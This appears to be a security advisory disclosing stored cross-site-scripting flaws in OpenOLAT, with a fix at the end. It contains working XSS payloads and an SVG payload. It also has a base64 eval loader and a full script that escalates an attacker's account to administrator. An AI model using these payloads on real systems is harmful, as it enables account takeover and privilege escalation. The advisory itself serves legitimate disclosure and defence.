Multiple Stored Cross-Site-Scripting Vulnerabilities in OpenOLAT (Frentix GmbH)

Example 2 - Stored Cross-Site-Scripting within Catalogname  

An attacker, who is authenticated with rights that allow creating or renaming catalogs, is able to create a catalog (also called sub-category) with a name that contains an XSS payload due to insufficient filtering and sanitization of user input.

When a user publishes a course, the name of the catalog including the payload is displayed and executed within the "Create catalog entry" tab when selecting "Add to catalog".

The following payload was used as the catalog name:

<img src=x onerror=alert('from\u0020subcat\u0020title')>

Example 3 - Stored Cross-Site-Scripting within Curriculum Management

An authenticated user of a role, who has the authorization to create curriculums, is able to create curriculums, whose name contains a JavaScript payload. These are shown to the members in some views where the JavaScript payload is executed. To do this, navigate to the overview of the curriculums via "Curriculum management".

A curriculum can be created via the "Create new curriculum" button in the window that appears. To recreate the vulnerability, it is sufficient to enter a JavaScript payload as the identifier.

The following payload was used as curriculum name:

<img src=x onerror=alert('from\u0020subcat\u0020title')>

When a user with sufficient rights opens the manipulated curriculum via the "curriculum browser" within the "Curriculum management" the payload within the curriculum name gets executed within the context of the user's browser.

Example 4 - Stored Cross-Site-Scripting within Alt-Text of Media-Files

An attacker, who is authenticated with rights that allow uploading files, can upload media files via the "Media Centre" and enter metadata for these files. One of the fields used for image metadata is the so-called alt-text field, which is used to enter an alternative display text for image files. This alternative text is not sanitized properly when entered during the upload of files.

The following payload was assigned to an image file as alt-text:

"><img src=a onerror=alert(document.location)>

The upload of the image file works without further problems and is confirmed. After successfully uploading the image with a manipulated alt-text, the transmitted payload is executed directly. Using the function to share content with other users, this manipulated image can be shared to potential victims (e.g. a system administrator). The user to whom the image has been shared with can preview it in their media center. As soon as the user views the image details, the JavaScript payload stored within the alt-text is executed in the context of the victim's browser.

2) Privilege escalation due to unsafe-eval

If the content security policy is not set securely and there is content on the same page that can be manipulated by the attacker, a privilege escalation can take place. As the content security policy is set to "Report-Only" and "unsafe-eval" is set by default in OpenOLAT, it can be possible to use the following attack at least in most cases shown here using stored XSS.

An example that loads a script from an external source was not used here, as this would not have been possible with an activated CSP, whereas this vulnerability can also be exploited with an activated standard CSP from OpenOLAT.
The following example can be used at any given point where a XSS is possible and another string can be manipulated within a readable context:

"><img src=x onerror='var ps = document.querySelectorAll(`p`); for (var i = 0; i 
< ps.length; i++) { var c = ps[i].textContent; if (c.startsWith(`YXN`)) 
{ eval(atob(c)); } }' 

This JavaScript code searches the website for elements that begin with a certain string (in our example "YXN"), decodes them from base64 and executes them (due to the unsafe-eval policy) as JavaScript code.
This has been tested to be working with example 4 with the above payload as the alt-text and the payload mentioned below as the description of the media file. The string "YXN" is the start of the base64-encoded following payload:

async function main() {
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    var n = 2000;
    var anchorElement = document.querySelector('a[title="Manage users and system groups"]');
	anchorElement.click();
    await sleep(n);
    var buttons = document.querySelectorAll('a[title="Organisations"]');
    buttons[0].click();
    await sleep(n);
    var links = document.querySelectorAll('a');
    var organisationLink = Array.from(links).find(function (link) {
        return link.textContent === 'OpenOLAT';
    });
    organisationLink.click();
    await sleep(n);
    var links = document.querySelectorAll('a');
    var chadLink = Array.from(links).find(function (link) {
        return link.textContent === 'Chad';
    });
    await sleep(n);
    chadLink.click();
    await sleep(n);
    var roleTabLinks = document.querySelectorAll('a[role="tab"]');
    var rolesLink = Array.from(roleTabLinks).find(function (link) {
        return link.textContent === 'Roles';
    });
    await sleep(n);
    rolesLink.click();
    await sleep(n);
    var inputElement = document.querySelector('input[value="administrator"]');
    inputElement.click();
    await sleep(n);
    var inputElement = document.querySelector('input[value="sysadmin"]');
    inputElement.click();
    await sleep(n);
    var saveButton = document.querySelector('button[value="Save"]');
    saveButton.click();
}
main();

The code shown here utilizes the static structure of OpenOLAT. The use of control elements is predictable, as long as the name of the organization used within the OpenOLAT instance is known. This information is freely accessible to every logged-in user. Lines 14 and 20 contain variables which must be adapted to the corresponding OpenOLAT instance and attacker username. The executed script searches for HTML elements with predictable names in order to navigate to an administrative interface within the application and elevate the attacker's rights to administrative level.

The script works with two-second pauses between the individual actions to ensure that all actions are only executed after the page has loaded. Even if this is visible to the victim, the waiting times between the actions can be optimized in a real attack and can also be used with the help of obfuscation measures (e.g. additional windows that open and hide the actions).  

3) Stored Cross-Site-Scripting (XSS) within the Media-Center (CVE-2024-25974)

It is possible to upload files within the Media Center of OpenOLAT version 18.1.5 as an authenticated user without any other rights. While the filetypes are limited, an SVG containing an XSS payload can be uploaded. The following content has been uploaded within a file named 'xss.svg':

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
    alert(document.location);
</script>
</svg>

After a successful upload the file can be shared with groups of users. By sharing the file with a group of which an administrator is part of, the administrator can access the file and open it, which will open the file in a new tab within the browser. This leads to the execution of the shown script and will display a message window stating the current domain and path.

Solution

The vendor provided a patched version 18.1.6 / 18.2 or higher which can be downloaded from:
https://www.openolat.com/releases/

Additionally, it is advised to set the Content-Security-Policy active, instead of "Report-Only" as well as configuring it as strictly as possible. The upcoming version 19 will enable CSP by default.

Workaround

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

EOF Johannes Völpel & Mike Klostermaier / @2024

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